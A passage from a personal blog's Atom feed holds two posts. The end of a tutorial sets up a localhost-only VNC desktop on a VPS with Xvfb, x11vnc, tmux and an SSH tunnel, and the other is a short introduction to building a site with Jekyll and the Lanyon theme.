&lt;p&gt;Finally we configure the -screen 0 to be of resolution 1200x700 and depth 16. You can of course change the resolution if you wish. The default screen 0 created by Xvfb has the dimension 1280x1240x8.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Then, x11vnc:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;With -many (or -forever), x11vnc won’t exit as soon as the connection is lost with the client, so that you can easily reconnect if you have network problems.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;-localhost forces x11vnc to only listen to connections coming from localhost, so that nobody can access the VNC server from the Internet. Since we’ll be forwarding the 5900 port to our machine, we’ll be able to access the VNC server.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;-rfbport specifies the port x11vnc should listen to for any incoming connections.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;-display :0 is the display we’re choosing, change this if you changed the Xvfb display.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Finally, we start LXDE on the display :0. We need to specify the value of the $DISPLAY variable since it’s not set by Xvfb.&lt;&#x2F;p&gt;
&lt;p&gt;You can write a script to automate the process. However, if you use tmux, you can start everything up on different panes so that you can easily stop it all once you’re done, along with htop to monitor easily your ressorces. To achieve this, you can use this script:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; new-session&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;s&lt;&#x2F;span&gt; server&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;n&lt;&#x2F;span&gt; main&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; send-keys&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Xvfb :0 -nolisten tcp -screen 0 1200x700x16&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; C-m&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; split-window&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;p&lt;&#x2F;span&gt; 50&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; send-keys&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server:0.1 &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;x11vnc -many -localhost -rfbport 5900 -display :0&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; C-m&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; split-window&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;h&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;p&lt;&#x2F;span&gt; 50&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; send-keys&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server:0.2 &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;DISPLAY=:0 startlxde&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; C-m&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; select-pane&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server:0.0&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; split-window&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;h&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;p&lt;&#x2F;span&gt; 50&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; send-keys&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server:0.1 &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;htop&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; C-m&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; attach&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;t&lt;&#x2F;span&gt; server&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is the result:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;secure-vnc-for-your-vps&#x2F;tmux-session-vnc.webp&quot; alt=&quot;tmux session if everything is started&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We’re basically done! You just need to set-up the SSH tunnel between your machine and the VPS, then fire-up your VNC viewer. On your local machine:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;f&lt;&#x2F;span&gt; user@host&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;L&lt;&#x2F;span&gt; 5900:localhost:5900&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;N&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, port 5900 on your machine is forwarded to port 5900 of your server, through the SSH connection. The -f flag tells ssh to fork into background, and the -N tells it not to execute any command.&lt;&#x2F;p&gt;
&lt;p&gt;You then connect to localhost:0 (since this is a VNC connection, :0 means port 5900, :1 port 5901, etc) with gvncviewer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;gvncviewer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; localhost:0&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can of course use any other VNC client (here, I’m using vncviewer that comes with TigerVNC). Enjoy!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;secure-vnc-for-your-vps&#x2F;remote-lxde-through-vnc.webp&quot; alt=&quot;Remote LXDE Desktop through VNC connection&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Quick Jekyll and Lanyon intro</title>
        <published>2016-07-09T00:00:00+00:00</published>
        <updated>2016-07-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/quick-jekyll-and-lanyon-intro/"/>
        <id>https://zoug.fr/quick-jekyll-and-lanyon-intro/</id>
        
        <content type="html" xml:base="https://zoug.fr/quick-jekyll-and-lanyon-intro/">&lt;p&gt;Maybe you’ve heard of &lt;a href=&quot;http:&#x2F;&#x2F;jekyllrb.com&#x2F;&quot;&gt;Jekyll&lt;&#x2F;a&gt;. It’s an open-source static site generator that lets you write content, create a template, build and obtain static webpages ready to be served by your favorite webserver.&lt;&#x2F;p&gt;
&lt;p&gt;And since Jekyll doesn’t use SQL or PHP or anything for the end product, it’s really fast and requires very little maintenance, once your website is built. It’s also a lot more secure than a full CMS: less parts means less places where things could go wrong.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;http:&#x2F;&#x2F;lanyon.getpoole.com&#x2F;&quot;&gt;Lanyon&lt;&#x2F;a&gt;, on the other hand, is a free theme for Jekyll that looks beautiful and focuses on the content. A previous version of this website used Jekyll and Lanyon, so let me walk you through everything you need to start writing your content!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;p&gt;Jekyll is a Ruby app, so we’ll use Rubygems to install it. You’ll also need git to clone the repository of Lanyon. On Debian-based distros:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# aptitude install ruby git
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we’ll install Jekyll and jekyll-paginate (necessary for Lanyon), and clone the git repository of Lanyon:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ gem install jekyll jekyll-paginate  
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ git clone https:&#x2F;&#x2F;github.com&#x2F;poole&#x2F;lanyon.git  
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You’ll have the latest Jekyll version (3.1.6 as of today). Unfortunately Lanyon is built for Jekyll 2.x, we’ll have to modify a few things before being able to build the website.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;building-lanyon&quot;&gt;Building Lanyon&lt;&#x2F;h2&gt;
&lt;p&gt;Go to your project directory and open &lt;em&gt;_config.yml&lt;&#x2F;em&gt;. Delete the following line:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;relative_permalinks&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-language z-boolean z-yaml&quot;&gt;true&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…and add this one:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;gems&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-flow-sequence z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-sequence z-begin z-yaml&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-in z-yaml&quot;&gt;jekyll-paginate&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-sequence z-end z-yaml&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now you can build and serve your website. Inside the root directory of your website:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ jekyll build
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ jekyll serve
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Building it will create a folder, _site&#x2F;. It contains the end product, what you’ll upload on your server. You can preview the end result by serving it, it’ll then be available on &lt;strong&gt;http:&#x2F;&#x2F;localhost:4000&#x2F;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;your-content&quot;&gt;Your content&lt;&#x2F;h2&gt;
&lt;p&gt;Jekyll uses Markdown for your content. If you’re not familiar with Markdown you can head &lt;a href=&quot;http:&#x2F;&#x2F;www.markdowntutorial.com&#x2F;&quot;&gt;over here&lt;&#x2F;a&gt; for a quick intro.&lt;&#x2F;p&gt;
&lt;p&gt;In the root directory of your website, you’ll find a file named &lt;em&gt;about.md&lt;&#x2F;em&gt; that creates the About page. You can modify it to suit your needs and add other files, those will create new pages.&lt;&#x2F;p&gt;
&lt;p&gt;Inside the _posts&#x2F; folder, you’ll find the articles displayed on the homepage. Those are named following the convention &lt;em&gt;year-month-day-title.md&lt;&#x2F;em&gt; and Jekyll parses that info and creates the appropriate html files. For your content, you should follow that convention and put your Markdown files inside the _posts&#x2F; folder.&lt;&#x2F;p&gt;
&lt;p&gt;This was a very quick intro to get you going. Now you can go read &lt;a href=&quot;http:&#x2F;&#x2F;jekyllrb.com&#x2F;docs&#x2F;home&#x2F;&quot;&gt;the documentation&lt;&#x2F;a&gt; of Jekyll to get an idea of all the possibilities you have, or just write your .md files and start building your website!&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
